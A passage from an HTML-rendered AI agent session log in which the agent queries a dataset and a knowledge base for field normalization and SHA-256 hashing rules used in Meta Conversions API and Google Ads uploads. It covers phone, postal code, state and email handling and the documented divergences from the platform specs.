        &lt;/span&gt;&lt;span class="s2"&gt;"'Remove any leading zeros' is applied only to the international prefix 00 and to a national trunk 0 (GB, AU, DE). A number that still starts with 0 after that is refused, because stripping zeros from a format the code cannot identify can produce another subscriber's number."&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"docExamples"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
          &lt;/span&gt;&lt;span class="nl"&gt;"_id"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
          &lt;/span&gt;&lt;span class="nl"&gt;"diverges"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
          &lt;/span&gt;&lt;span class="nl"&gt;"input"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"(650)555-1212"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
          &lt;/span&gt;&lt;span class="nl"&gt;"normalized"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"16505551212"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
          &lt;/span&gt;&lt;span class="nl"&gt;"sha256"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"e323ec626319ca94ee8bff2e4c87cf613be6ea19919ed1364124e16807ab3176"&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"docQuote"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Hashing required. Remove symbols, letters, and any leading zeros. Phone numbers must include a country code to be used for matching (e.g., the number 1 must precede a phone number in the United States). Always include the country code as part of your customers’ phone numbers, even if all of your data is from the same country."&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"field"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"phone"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"hashed"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"implementation"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Drops spaces, parentheses, dashes, dots and slashes. A leading '+' or the international prefix '00' followed by 8 to 15 digits is taken as E.164; a country code starting with 0 is refused. A number without a country code resolves only through the region (the record's own two-letter country when it has one, else default_region), and only for US, CA, GB, AU, BR and DE; for GB, AU and DE the national trunk '0' is dropped. A trunk zero written inside an international number ('+44 (0)20...', '+49 030...') is refused, checked only after +44, +49, +55 and +61 and for any '(0)'; other countries are not checked, because some, Italy among them, keep the 0. Anything else, and any letter, is returned as needs_review with the reason, never guessed. Output is digits only: country code, no '+'."&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"implemented"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"kbEntry"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"normalization_and_hashing/meta"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"param"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"ph"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"platform"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"meta"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"sourceUrl"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"https://developers.facebook.com/docs/marketing-api/conversions-api/parameters/customer-information-parameters"&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"_id"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"normalizationRule-meta-postal_code"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"divergences"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="s2"&gt;"With no known region, a value shaped like a US ZIP+4 is returned as needs_review instead of being hashed whole or cut to five digits: the page states the five-digit rule for U.S. codes only, and the code does not guess the country."&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="s2"&gt;"UK: the prose asks for the area, district and sector format, which for M1 1AE would stop at 'm11'; the page's own UK example is 'm11ae', the whole postcode. The page contradicts itself, and the code follows the example."&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"docExamples"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="w"&gt;

      &lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"docQuote"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Hashing required. Use lowercase with no spaces and no dash. Use only the first 5 digits for U.S. zip codes. Use the area, district, and sector format for the UK. Example: U.S zip code: 94035 Australia zip code: 1987 France zip code: 75018 UK zip code: m11ae"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"field"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"postal_code"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"hashed"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"implementation"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Refuses invisible characters and non-ASCII whitespace (for example U+00A0, U+200B) with the code point named, instead of hashing them. Removes spaces and dashes and lowercases. Keeps only the first five characters when the region is US (the record's own country when it has one, else default_region), and never otherwise. With no region at all, a value shaped like a US ZIP+4 is returned as needs_review instead of being hashed whole. A UK postcode keeps all its characters: 'M1 1AE' becomes 'm11ae'."&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"implemented"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"kbEntry"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"normalization_and_hashing/meta"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"param"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"zp"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"platform"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"meta"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"sourceUrl"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"https://developers.facebook.com/docs/marketing-api/conversions-api/parameters/customer-information-parameters"&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"_id"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"normalizationRule-meta-state"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"divergences"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="s2"&gt;"A full US state name is normalised but not abbreviated, so it will not match Meta's hash of the two-letter code. Send the code."&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"docExamples"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="w"&gt;

      &lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"docQuote"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Hashing required. Use the 2-character ANSI abbreviation code in lowercase. Normalize states outside the U.S. in lowercase with no punctuation, no special characters, and no spaces."&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"field"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"state"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"hashed"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"implementation"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Refuses invisible characters and non-ASCII whitespace (for example U+00A0, U+200B) with the code point named, instead of hashing them. Removes punctuation, symbols and spaces, lowercases. Does not translate a full US state name into its two-letter code: 'California' becomes 'california', not 'ca'."&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"implemented"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"kbEntry"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"normalization_and_hashing/meta"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"param"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"st"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"platform"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"meta"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"sourceUrl"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"https://developers.facebook.com/docs/marketing-api/conversions-api/parameters/customer-information-parameters"&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
                    &lt;/div&gt;
                &lt;/div&gt;
              &lt;/div&gt;
        &lt;/div&gt;
      &lt;/div&gt;

      &lt;div class="agent-session-message agent-session-assistant"&gt;
        &lt;div class="agent-session-role-badge agent-session-role-assistant"&gt;
          Agent
        &lt;/div&gt;
        &lt;div class="agent-session-content"&gt;
              &lt;div class="agent-session-tool-call"&gt;
                
                  &lt;span class="agent-session-chevron"&gt;▸&lt;/span&gt;
                  &lt;span class="tool-name tool-name-mcpsanitydatasetgroqquery"&gt;mcp__sanity-dataset__groq_query&lt;/span&gt;
                    &lt;span class="tool-input-preview"&gt;{"query":"*[_type == \"implementationProfile\"][0]{globalDivergences}"}&lt;/span&gt;
                
                &lt;div class="agent-session-tool-detail"&gt;
                    &lt;div class="tool-section"&gt;
                      &lt;div class="tool-section-label"&gt;Input&lt;/div&gt;
                      &lt;pre class="agent-session-pre highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"query"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"*[_type == &lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;implementationProfile&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;][0]{globalDivergences}"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
                    &lt;/div&gt;
                    &lt;div class="tool-section"&gt;
                      &lt;div class="tool-section-label"&gt;Output&lt;/div&gt;
                      &lt;pre class="agent-session-pre highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"meta"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"executedQuery"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"*[_type != &lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;sanity.agentContext&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt; &amp;amp;&amp;amp; (_type in [&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;normalizationRule&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;, &lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;implementationProfile&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;]) &amp;amp;&amp;amp; _type == &lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;implementationProfile&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;][0]{&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;globalDivergences&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;: globalDivergences, &lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;_id&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;: global::coalesce(_originalId, _id)}"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"perspective"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"published"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"resultCount"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"returnedCount"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"result"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"_id"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"implementationProfile-preflight"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"globalDivergences"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="s2"&gt;"Invisible characters and non-ASCII whitespace (U+00A0, U+200B, U+3000 and the like) are refused with the code point named, in every field. Both platforms document trimming whitespace and say nothing about these; hashing one yields a value that silently never matches."&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="s2"&gt;"A phone number written without its country code is completed from the record's own two-letter country, else default_region, for six numbering plans (US, CA, GB, AU, BR, DE). Both platforms require the country code and neither says where it comes from; any other region is refused, not guessed."&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
                    &lt;/div&gt;
                &lt;/div&gt;
              &lt;/div&gt;
        &lt;/div&gt;
      &lt;/div&gt;

      &lt;div class="agent-session-message agent-session-assistant"&gt;
        &lt;div class="agent-session-role-badge agent-session-role-assistant"&gt;
          Agent
        &lt;/div&gt;
        &lt;div class="agent-session-content"&gt;
              &lt;div class="agent-session-tool-call"&gt;
                
                  &lt;span class="agent-session-chevron"&gt;▸&lt;/span&gt;
                  &lt;span class="tool-name tool-name-mcpsanitycontextknowledgebaseread"&gt;mcp__sanity-context__knowledge_base_read&lt;/span&gt;
                    &lt;span class="tool-input-preview"&gt;{"knowledgeBase":"kb6kEFy3JtbM","paths":["normalization_and_hashing/google","...&lt;/span&gt;
                
                &lt;div class="agent-session-tool-detail"&gt;
                    &lt;div class="tool-section"&gt;
                      &lt;div class="tool-section-label"&gt;Input&lt;/div&gt;
                      &lt;pre class="agent-session-pre highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"knowledgeBase"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"kb6kEFy3JtbM"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"paths"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="s2"&gt;"normalization_and_hashing/google"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="s2"&gt;"normalization_and_hashing/meta"&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
                    &lt;/div&gt;
                    &lt;div class="tool-section"&gt;
                      &lt;div class="tool-section-label"&gt;Output&lt;/div&gt;
                      &lt;pre class="agent-session-pre"&gt;&lt;code&gt;# Google Normalization and Hashing Rules

Field-level normalization, formatting, and SHA-256 hashing requirements for email, phone, name, and address when uploading to Google endpoints (Data Manager API and Google Ads API), including worked examples

All user-provided fields must be normalized then SHA-256 hashed before upload to either the Google Ads API (`ConversionUploadService`) or the Data Manager API. Encode hash bytes as hex or Base64. For hex, case doesn't matter; for Base64, case matters. [1][2]

## Fields that must be hashed

- Email address
- Phone number
- First name (`given_name`)
- Last name (`family_name`)
- Street address (`address_line`)

**Do NOT hash:** country/`region_code`, state/`administrative_area`, city, zip/`postal_code`. [1][2]

## Email address (`email_address` / `hashed_email`)

Apply in order: [1][2]

1. **Trim whitespace:** Remove leading, trailing, and intermediate whitespace (whitespace inside the address is also removed, not only at the ends).
2. **Lowercase:** Convert the entire address to lowercase.
3. **Gmail/Googlemail-specific (applies ONLY to `@gmail.com` and `@googlemail.com` domains):**
   - Remove all dots (`.`) from the local-part (before the `@`).
   - Remove the plus sign (`+`) and all characters that follow it from the local-part.
   - Example: `cloudy.sanfrancisco+shopping@gmail.com` → `cloudysanfrancisco@gmail.com` [1]
   - Example: `Jane.Doe+Shopping@googlemail.com` → `janedoe@googlemail.com` [2]
4. **Other domains:** Do NOT remove dots or plus signs from the local-part. Apply only lowercase and whitespace trimming.
   - Example: `user.name+NYC@Example.com` → `user.name+nyc@example.com` [1][2]
5. **Hash** the result with SHA-256.

&amp;gt; The plus-sign removal rule applies to the local-part only, never to the domain. For non-Gmail domains, the plus sign stays in the local-part.

## Phone number (`phone_number` / `hashed_phone_number`)

1. **Format to E.164:** Include the `+` sign and country code. All characters after `+` must be digits. [1]
   - Example: `(800)555-0100` → `+18005550100`
2. **Trim** leading and trailing whitespace. [1]
3. **Hash** with SHA-256. [1]

## Name fields (`given_name` / `family_name`)

| Step | Rule |
|------|------|
| Format | Lowercase. Omit prefixes (`Mrs.`) from `given_name`; omit suffixes (`Jr.`) from `family_name`. |
| Whitespace | Trim leading and trailing whitespace. |
| Hash | SHA-256; encode as hex or Base64. |

[1]

## Address fields (`AddressInfo` / `OfflineUserAddressInfo`)

| Field | Normalize | Hash? |
|-------|-----------|-------|
| `address_line` (street + number) | Lowercase; remove symbol characters; trim leading/trailing whitespace. | **Yes** – SHA-256 |
| `city` | Lowercase; remove symbol characters; trim whitespace. | No |
| `administrative_area` (state/province) | Lowercase; use two-letter abbreviation (e.g. `ca`) or full name (e.g. `california`); remove symbol characters; trim whitespace. | No |
| `postal_code` | US: 5 digits or 5+4 digits (4-digit extension may improve match rate); non-US: no extensions; trim whitespace. | No |
| `region_code` | Two-character ISO 3166-1 alpha-2 code; trim whitespace. | No |

[1]

&amp;gt; `address_line` and `city` are used only for Google Analytics connections via the Data Manager API. [1]

## General hashing rule

For every hashed field: convert to lowercase → strip whitespace → hash (SHA-256) → encode hex or Base64. The Java reference implementation removes all intermediate whitespace (using `replaceAll("\\s+", "")`) before hashing—not just leading/trailing. [2]

## What is never hashed

- `region_code` (ISO 3166-1 alpha-2 country code)
- `postal_code`
- `city`
- `administrative_area`
- IP addresses (`ip_address` in `IpData`)
- Mobile IDs (`mobile_ids` in `MobileData`)

[1]

## Sources

1. Manage offline conversions &amp;nbsp;|&amp;nbsp; Google Ads API &amp;nbsp;|&amp;nbsp; Google for Developers § overview — Web
2. Manage offline conversions &amp;nbsp;|&amp;nbsp; Google Ads API &amp;nbsp;|&amp;nbsp; Google for Developers § fields if either are provided. › Code example — Web
3. Format user data &amp;nbsp;|&amp;nbsp; Data Manager API &amp;nbsp;|&amp;nbsp; Google for Developers — Web · https://developers.google.com/data-manager/api/devguides/concepts/formatting


---

# Meta Normalization and Hashing Rules

Field-level formatting, normalization, and hashing requirements for email, phone, name, external ID, and other customer-information parameters sent to the Meta Conversions API, including worked examples

All contact-information parameters sent to the Meta Conversions API must be normalized before hashing. Meta's systems reject unhashed contact information unless a parameter is explicitly marked "do not hash." At least one `user_data` parameter must be present in every request. If you use the Meta Business SDK, hashing is performed automatically. [1]

## Hashing requirement by parameter

| Parameter | Field name | Type | Hashing |
|---|---|---|---|
| Email | `em` | string or list\&amp;lt;string\&amp;gt; | **Required** |
| Phone Number | `ph` | string or list\&amp;lt;string\&amp;gt; | **Required** |
| First Name | `fn` | string or list\&amp;lt;string\&amp;gt; | **Required** |
| Last Name | `ln` | string or list\&amp;lt;string\&amp;gt; | **Required** |
| Date of Birth | `db` | string or list\&amp;lt;string\&amp;gt; | **Required** |
| Gender | `ge` | string or list\&amp;lt;string\&amp;gt; | **Required** |
| City | `ct` | string or list\&amp;lt;string\&amp;gt; | **Required** |
| State | `st` | string or list\&amp;lt;string\&amp;gt; | **Required** |
| Zip Code | `zp` | string or list\&amp;lt;string\&amp;gt; | **Required** |
| Country | `country` | string or list\&amp;lt;string\&amp;gt; | **Required** |
| External ID | `external_id` | string or list\&amp;lt;string\&amp;gt; | **Recommended** |
| Client IP Address | `client_ip_address` | string | **Do not hash** |
| Client User Agent | `client_user_agent` | string | **Do not hash** |
| Click ID (`fbc`) | `fbc` | string | **Do not hash** |
| Browser ID (`fbp`) | `fbp` | string | **Do not hash** |
| Subscription ID | `subscription_id` | string | **Do not hash** |
| Facebook Login ID | `fb_login_id` | integer | **Do not hash** |
